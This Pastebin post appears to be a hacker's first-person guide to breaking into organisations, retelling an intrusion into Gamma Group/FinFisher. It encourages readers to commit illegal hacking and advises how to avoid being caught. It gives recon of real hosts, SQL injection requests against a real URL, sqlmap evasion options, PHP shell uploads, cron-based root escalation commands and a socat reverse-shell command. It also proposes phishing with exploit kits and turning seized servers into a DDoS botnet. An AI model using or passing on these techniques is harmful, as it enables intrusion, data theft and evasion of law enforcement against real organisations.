Advertisement
Guest User

cptcrnch mapping gold - newbies

a guest
Jul 1st, 2015
280
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 19.11 KB | None | 0 0
  1. [b]--[ 1 ]-- Introduction[/b]
  2.  
  3. I'm not writing this to brag about what an 31337 h4x0r I am and what m4d sk1llz
  4. it took to 0wn Gamma. I'm writing this to demystify hacking, to show how simple
  5. it is, and to hopefully inform and inspire you to go out and hack shit. If you
  6. have no experience with programming or hacking, some of the text below might
  7. look like a foreign language. Check the resources section at the end to help you
  8. get started. And trust me, once you've learned the basics you'll realize this
  9. really is easier than filing a FOIA request.
  10.  
  11. [b]--[ 2 ]-- Staying Safe[/b]
  12.  
  13. This is illegal, so you'll need to take same basic precautions:
  14.  
  15. [b]1)[/b] Make a hidden encrypted volume with Truecrypt 7.1a [i][0][/i]
  16. [b]2)[/b] Inside the encrypted volume install Whonix [i][1][/i]
  17. [b]3)[/b] (Optional) While just having everything go over Tor thanks to Whonix is
  18. probably sufficient, it's better to not use an internet connection connected
  19. to your name or address. A cantenna, aircrack, and reaver can come in handy
  20. here.
  21.  
  22. [i][0][/i] https://truecrypt.ch/downloads/
  23. [i][1][/i] https://www.whonix.org/wiki/Download#Install_Whonix
  24.  
  25. As long as you follow common sense like never do anything hacking related
  26. outside of Whonix, never do any of your normal computer usage inside Whonix,
  27. never mention any information about your real life when talking with other
  28. hackers, and never brag about your illegal hacking exploits to friends in real
  29. life, then you can pretty much do whatever you want with no fear of being v&.
  30.  
  31. [b]NOTE:[/b] I do NOT recommend actually hacking directly over Tor. While Tor is usable
  32.  
  33. for some things like web browsing, when it comes to using hacking tools like
  34. nmap, sqlmap, and nikto that are making thousands of requests, they will run
  35. very slowly over Tor. Not to mention that you'll want a public IP address to
  36. receive connect back shells. I recommend using servers you've hacked or a VPS
  37. paid with bitcoin to hack from. That way only the low bandwidth text interface
  38. between you and the server is over Tor. All the commands you're running will
  39. have a nice fast connection to your target.
  40.  
  41.  
  42. [b]--[ 3 ]-- Mapping out the target[/b]
  43.  
  44. Basically I just repeatedly use fierce [i][0][/i], whois lookups on IP addresses and
  45. domain names, and reverse whois lookups to find all IP address space and domain
  46. names associated with an organization.
  47.  
  48. [i][0] [/i]http://ha.ckers.org/fierce/
  49.  
  50. For an example let's take Blackwater. We start out knowing their homepage is at
  51. academi.com. Running fierce.pl -dns academi.com we find the subdomains:
  52.  
  53. [code]67.238.84.228 email.academi.com
  54. 67.238.84.242 extranet.academi.com
  55. 67.238.84.240 mail.academi.com
  56. 67.238.84.230 secure.academi.com
  57. 67.238.84.227 vault.academi.com
  58. 54.243.51.249 www.academi.com[/code]
  59.  
  60. Now we do whois lookups and find the homepage of www.academi.com is hosted on
  61. Amazon Web Service, while the other IPs are in the range:
  62.  
  63. [code]NetRange: 67.238.84.224 - 67.238.84.255
  64. CIDR: 67.238.84.224/27
  65. CustName: Blackwater USA
  66. Address: 850 Puddin Ridge Rd[/code]
  67.  
  68. Doing a whois lookup on academi.com reveals it's also registered to the same
  69. address, so we'll use that as a string to search with for the reverse whois
  70. lookups. As far as I know all the actual reverse whois lookup services cost
  71. money, so I just cheat with google:
  72.  
  73. [code]"850 Puddin Ridge Rd" inurl:ip-address-lookup
  74. "850 Puddin Ridge Rd" inurl:domaintools[/code]
  75.  
  76. Now run fierce.pl -range on the IP ranges you find to lookup dns names, and
  77. fierce.pl -dns on the domain names to find subdomains and IP addresses. Do more
  78. whois lookups and repeat the process until you've found everything.
  79.  
  80. Also just google the organization and browse around its websites. For example on
  81. academi.com we find links to a careers portal, an online store, and an employee
  82. resources page, so now we have some more:
  83.  
  84. [code]54.236.143.203 careers.academi.com
  85. 67.132.195.12 academiproshop.com
  86. 67.238.84.236 te.academi.com
  87. 67.238.84.238 property.academi.com
  88. 67.238.84.241 teams.academi.com[/code]
  89.  
  90. If you repeat the whois lookups and such you'll find academiproshop.com seems to
  91. not be hosted or maintained by Blackwater, so scratch that off the list of
  92. interesting IPs/domains.
  93.  
  94. In the case of FinFisher what led me to the vulnerable finsupport.finfisher.com
  95. was simply a whois lookup of finfisher.com which found it registered to the name
  96. "FinFisher GmbH". Googling for:
  97.  
  98. [code]"FinFisher GmbH" inurl:domaintools[/code]
  99.  
  100. finds gamma-international.de, which redirects to finsupport.finfisher.com
  101. ...so now you've got some idea how I map out a target.
  102. This is actually one of the most important parts, as the larger the attack
  103. surface that you are able to map out, the easier it will be to find a hole
  104. somewhere in it.
  105.  
  106. [b]--[ 4 ]-- Scanning & Exploiting[/b]
  107.  
  108. Scan all the IP ranges you found with nmap to find all services running. Aside
  109. from a standard port scan, scanning for SNMP is underrated.
  110. Now for each service you find running:
  111.  
  112. [b]1)[/b] Is it exposing something it shouldn't? Sometimes companies will have services
  113. running that require no authentication and just assume it's safe because the url
  114. or IP to access it isn't public. Maybe fierce found a git subdomain and you can
  115. go to git.companyname.come/gitweb/ and browse their source code.
  116.  
  117. [b]2)[/b] Is it horribly misconfigured? Maybe they have an ftp server that allows
  118. anonymous read or write access to an important directory. Maybe they have a
  119. database server with a blank admin password (lol stratfor). Maybe their embedded
  120. devices (VOIP boxes, IP Cameras, routers etc) are using the manufacturer's
  121. default password.
  122.  
  123. [b]3)[/b] Is it running an old version of software vulnerable to a public exploit?
  124.  
  125. Webservers deserve their own category. For any webservers, including ones nmap
  126. will often find running on nonstandard ports, I usually:
  127.  
  128. [b]1)[/b] Browse them. Especially on subdomains that fierce finds which aren't intended
  129. for public viewing like test.company.com or dev.company.com you'll often find
  130. interesting stuff just by looking at them.
  131.  
  132. [b]2)[/b] Run nikto [i][0][/i]. This will check for things like webserver/.svn/,
  133. webserver/backup/, webserver/phpinfo.php, and a few thousand other common
  134. mistakes and misconfigurations.
  135.  
  136. [b]3)[/b] Identify what software is being used on the website. WhatWeb is useful [i][1][/i]
  137.  
  138. [b]4)[/b] Depending on what software the website is running, use more specific tools
  139.  
  140. like wpscan [i][2][/i], CMS-Explorer [i][3][/i], and Joomscan [i][4][/i].
  141.  
  142. First try that against all services to see if any have a misconfiguration,
  143. publicly known vulnerability, or other easy way in. If not, it's time to move
  144. on to finding a new vulnerability:
  145.  
  146. [b]5)[/b] Custom coded web apps are more fertile ground for bugs than large widely used
  147. projects, so try those first. I use ZAP [i][5][/i], and some combination of its
  148. automated tests along with manually poking around with the help of its
  149. intercepting proxy.
  150.  
  151. [b]6)[/b] For the non-custom software they're running, get a copy to look at. If it's
  152. free software you can just download it. If it's proprietary you can usually
  153. pirate it. If it's proprietary and obscure enough that you can't pirate it you
  154. can buy it (lame) or find other sites running the same software using google,
  155. find one that's easier to hack, and get a copy from them.
  156.  
  157. [i][0][/i] http://www.cirt.net/nikto2
  158. [i][1][/i] http://www.morningstarsecurity.com/research/whatweb
  159. [i][2][/i] http://wpscan.org/
  160. [i][3][/i] https://code.google.com/p/cms-explorer/
  161. [i][4][/i] http://sourceforge.net/projects/joomscan/
  162. [i][5][/i] https://code.google.com/p/zaproxy/
  163.  
  164. For finsupport.finfisher.com the process was:
  165.  
  166. * Start nikto running in the background.
  167. * Visit the website. See nothing but a login page. Quickly check for sqli in the
  168. login form.
  169. * See if WhatWeb knows anything about what software the site is running.
  170. * WhatWeb doesn't recognize it, so the next question I want answered is if this
  171. is a custom website by Gamma, or if there are other websites using the same
  172. software.
  173. * I view the page source to find a URL I can search on (index.php isn't
  174. exactly unique to this software). I pick Scripts/scripts.js.php, and google:
  175.  
  176. [i] allinurl:"Scripts/scripts.js.php"[/i]
  177.  
  178. * I find there's a handful of other sites using the same software, all coded by
  179. the same small webdesign firm. It looks like each site is custom coded but
  180. they share a lot of code. So I hack a couple of them to get a collection of
  181. code written by the webdesign firm.
  182.  
  183. At this point I can see the news stories that journalists will write to drum
  184. up views: "In a sophisticated, multi-step attack, hackers first compromised a
  185. web design firm in order to acquire confidential data that would aid them in
  186. attacking Gamma Group..."
  187.  
  188. But it's really quite easy, done almost on autopilot once you get the hang of
  189. it. It took all of a couple minutes to:
  190.  
  191. * google allinurl:"Scripts/scripts.js.php" and find the other sites
  192. * Notice they're all sql injectable in the first url parameter I try.
  193. * Realize they're running Apache ModSecurity so I need to use sqlmap [i][0][/i] with
  194. the option --tamper='tamper/modsecurityversioned.py'
  195. * Acquire the admin login information, login and upload a php shell [i][1][/i] (the
  196. check for allowable file extensions was done client side in javascript), and
  197. download the website's source code.
  198.  
  199. [i][0][/i] http://sqlmap.org/
  200. [i][1][/i] https://epinna.github.io/Weevely/
  201.  
  202. Looking through the source code they might as well have named it Damn Vulnerable
  203. Web App v2 [i][0][/i]. It's got sqli, LFI, file upload checks done client side in
  204. javascript, and if you're unauthenticated the admin page just sends you back to
  205. the login page with a Location header, but you can have your intercepting proxy
  206. filter the Location header out and access it just fine.
  207.  
  208. [i][0][/i] http://www.dvwa.co.uk/
  209.  
  210. Heading back over to the finsupport site, the admin /BackOffice/ page returns
  211. 403 Forbidden, and I'm having some issues with the LFI, so I switch to using the
  212. sqli (it's nice to have a dozen options to choose from). The other sites by the
  213. web designer all had an injectable print.php, so some quick requests to:
  214.  
  215. [url=https://finsupport.finfisher.com/GGI/Home/print.php?id=1 and 1=1]https://finsupport.finfisher.com/GGI/Home/print.php?id=1 and 1=1[/url]
  216. [url=https://finsupport.finfisher.com/GGI/Home/print.php?id=1 and 2=1]https://finsupport.finfisher.com/GGI/Home/print.php?id=1 and 2=1[/url]
  217.  
  218. reveal that finsupport also has print.php and it is injectable. And it's
  219. database admin! For MySQL this means you can read and write files. It turns out
  220. the site has magicquotes enabled, so I can't use INTO OUTFILE to write files.
  221. But I can use a short script that uses sqlmap --file-read to get the php source
  222. for a URL, and a normal web request to get the HTML, and then finds files
  223. included or required in the php source, and finds php files linked in the HTML,
  224. to recursively download the source to the whole site.
  225.  
  226. Looking through the source, I see customers can attach a file to their support
  227. tickets, and there's no check on the file extension. So I pick a username and
  228. password out of the customer database, create a support request with a php shell
  229. attached, and I'm in!
  230.  
  231. [b]--[ 5 ]-- (fail at) Escalating[/b]
  232.  
  233. ___________
  234. < got r00t? >
  235. -----------
  236. \ ^__^
  237. \ (oo)\_______
  238. (__)\ )\/\
  239. ||----w-----||
  240. || ||
  241. ^^^^^^^^^^^^^^^^
  242.  
  243. Root over 50% of linux servers you encounter in the wild with two easy scripts,
  244. Linux_Exploit_Suggester [i][0][/i], and unix-privesc-check [i][1][/i].
  245.  
  246. [i][0][/i] https://github.com/PenturaLabs/Linux_Exploit_Suggester
  247. [i][1][/i] https://code.google.com/p/unix-privesc-check/
  248.  
  249. finsupport was running the latest version of Debian with no local root exploits,
  250. but unix-privesc-check returned:
  251.  
  252. [b]WARNING:[/b] /etc/cron.hourly/mgmtlicensestatus is run by cron as root. The user
  253. www-data can write to /etc/cron.hourly/mgmtlicensestatus
  254.  
  255. [b]WARNING:[/b] /etc/cron.hourly/webalizer is run by cron as root. The user www-data
  256. can write to /etc/cron.hourly/webalizer
  257.  
  258. so I add to /etc/cron.hourly/webalizer:
  259.  
  260. [code]chown root:root /path/to/my_setuid_shell
  261. chmod 04755 /path/to/my_setuid_shell[/code]
  262.  
  263. wait an hour, and ....nothing. Turns out that while the cron process is running
  264. it doesn't seem to be actually running cron jobs. Looking in the webalizer
  265. directory shows it didn't update stats the previous month. Apparently after
  266. updating the timezone cron will sometimes run at the wrong time or sometimes not
  267. run at all and you need to restart cron after changing the timezone. ls -l
  268. /etc/localtime shows the timezone got updated June 6, the same time webalizer
  269. stopped recording stats, so that's probably the issue. At any rate, the only
  270. thing this server does is host the website, so I already have access to
  271. everything interesting on it. Root wouldn't get much of anything new, so I move
  272. on to the rest of the network.
  273.  
  274. [b]--[ 6 ]-- Pivoting[/b]
  275.  
  276. The next step is to look around the local network of the box you hacked. This
  277. is pretty much the same as the first Scanning & Exploiting step, except that
  278. from behind the firewall many more interesting services will be exposed. A
  279. tarball containing a statically linked copy of nmap and all its scripts that you
  280. can upload and run on any box is very useful for this. The various nfs-* and
  281. especially smb-* scripts nmap has will be extremely useful.
  282.  
  283. The only interesting thing I could get on finsupport's local network was another
  284. webserver serving up a folder called 'qateam' containing their mobile malware.
  285.  
  286. [b]--[ 7 ]-- Have Fun[/b]
  287.  
  288. Once you're in their networks, the real fun starts. Just use your imagination.
  289. While I titled this a guide for wannabe whistleblowers, there's no reason to
  290. limit yourself to leaking documents. My original plan was to:
  291.  
  292. [b]1)[/b] Hack Gamma and obtain a copy of the FinSpy server software
  293. [b]2)[/b] Find vulnerabilities in FinSpy server.
  294. [b]3)[/b] Scan the internet for, and hack, all FinSpy C&C servers.
  295. [b]4)[/b] Identify the groups running them.
  296. [b]5)[/b] Use the C&C server to upload and run a program on all targets telling them
  297. who was spying on them.
  298. [b]6)[/b] Use the C&C server to uninstall FinFisher on all targets.
  299. [b]7)[/b] Join the former C&C servers into a botnet to DDoS Gamma Group.
  300.  
  301. It was only after failing to fully hack Gamma and ending up with some
  302. interesting documents but no copy of the FinSpy server software that I had to
  303. make due with the far less lulzy backup plan of leaking their stuff while
  304. mocking them on twitter.
  305. Point your GPUs at FinSpy-PC+Mobile-2012-07-12-Final.zip and crack the password
  306. already so I can move on to step 2!
  307.  
  308. [b]--[ 8 ]-- Other Methods[/b]
  309.  
  310. The general method I outlined above of scan, find vulnerabilities, and exploit
  311. is just one way to hack, probably better suited to those with a background in
  312. programming. There's no one right way, and any method that works is as good as
  313. any other. The other main ways that I'll state without going into detail are:
  314.  
  315. [b]1)[/b] Exploits in web browers, java, flash, or microsoft office, combined with
  316. emailing employees with a convincing message to get them to open the link or
  317. attachment, or hacking a web site frequented by the employees and adding the
  318. browser/java/flash exploit to that.
  319. This is the method used by most of the government hacking groups, but you don't
  320. need to be a government with millions to spend on 0day research or subscriptions
  321. to FinSploit or VUPEN to pull it off. You can get a quality russian exploit kit
  322. for a couple thousand, and rent access to one for much less. There's also
  323. metasploit browser autopwn, but you'll probably have better luck with no
  324. exploits and a fake flash updater prompt.
  325.  
  326. [b]2)[/b] Taking advantage of the fact that people are nice, trusting, and helpful 95%
  327. of the time.
  328. The infosec industry invented a term to make this sound like some sort of
  329. science: "Social Engineering". This is probably the way to go if you don't know
  330. too much about computers, and it really is all it takes to be a successful
  331. hacker [i][0][/i].
  332.  
  333. [i][0][/i] https://www.youtube.com/watch?v=DB6ywr9fngU
  334.  
  335. [b]--[ 9 ]-- Resources[/b]
  336.  
  337. [b]Links:[/b]
  338.  
  339. * https://www.pentesterlab.com/exercises/
  340. * http://overthewire.org/wargames/
  341. * http://www.hackthissite.org/
  342. * http://smashthestack.org/
  343. * http://www.win.tue.nl/~aeb/linux/hh/hh.html
  344. * http://www.phrack.com/
  345. * http://pen-testing.sans.org/blog/2012/04/26/got-meterpreter-pivot
  346. * http://www.offensive-security.com/metasploit-unleashed/PSExec_Pass_The_Hash
  347. * https://securusglobal.com/community/2013/12/20/dumping-windows-credentials/
  348. * https://www.netspi.com/blog/entryid/140/resources-for-aspiring-penetration-testers
  349. (all his other blog posts are great too)
  350. * https://www.corelan.be/ (start at Exploit writing tutorial part 1)
  351. * http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/
  352. One trick it leaves out is that on most systems the apache access log is
  353. readable only by root, but you can still include from /proc/self/fd/10 or
  354. whatever fd apache opened it as. It would also be more useful if it mentioned
  355. what versions of php the various tricks were fixed in.
  356. * http://www.dest-unreach.org/socat/
  357. Get usable reverse shells with a statically linked copy of socat to drop on
  358. your target and:
  359. target$ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp-listen:PORTNUM
  360. host$ socat file:`tty`,raw,echo=0 tcp-connect:localhost:PORTNUM
  361. It's also useful for setting up weird pivots and all kinds of other stuff.
  362.  
  363. [b]Books:[/b]
  364.  
  365. * The Web Application Hacker's Handbook
  366. * Hacking: The Art of Exploitation
  367. * The Database Hacker's Handbook
  368. * The Art of Software Security Assessment
  369. * A Bug Hunter's Diary
  370. * Underground: Tales of Hacking, Madness, and Obsession on the Electronic Frontier
  371. * TCP/IP Illustrated
  372.  
  373. Aside from the hacking specific stuff almost anything useful to a system
  374. administrator for setting up and administering networks will also be useful for
  375. exploring them. This includes familiarity with the windows command prompt and unix
  376. shell, basic scripting skills, knowledge of ldap, kerberos, active directory,
  377. networking, etc.
  378.  
  379. [b]--[ 10 ]-- Outro[/b]
  380.  
  381. You'll notice some of this sounds exactly like what Gamma is doing. Hacking is a
  382. tool. It's not selling hacking tools that makes Gamma evil. It's who their
  383. customers are targeting and with what purpose that makes them evil. That's not
  384. to say that tools are inherently neutral. Hacking is an offensive tool. In the
  385. same way that guerrilla warfare makes it harder to occupy a country, whenever
  386. it's cheaper to attack than to defend it's harder to maintain illegitimate
  387. authority and inequality. So I wrote this to try to make hacking easier and more
  388. accessible. And I wanted to show that the Gamma Group hack really was nothing
  389. fancy, just standard sqli, and that you do have the ability to go out and take
  390. similar action.
  391.  
  392. Solidarity to everyone in Gaza, Israeli conscientious-objectors, Chelsea
  393. Manning, Jeremy Hammond, Peter Sunde, anakata, and all other imprisoned
  394. hackers, dissidents, and criminals!
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement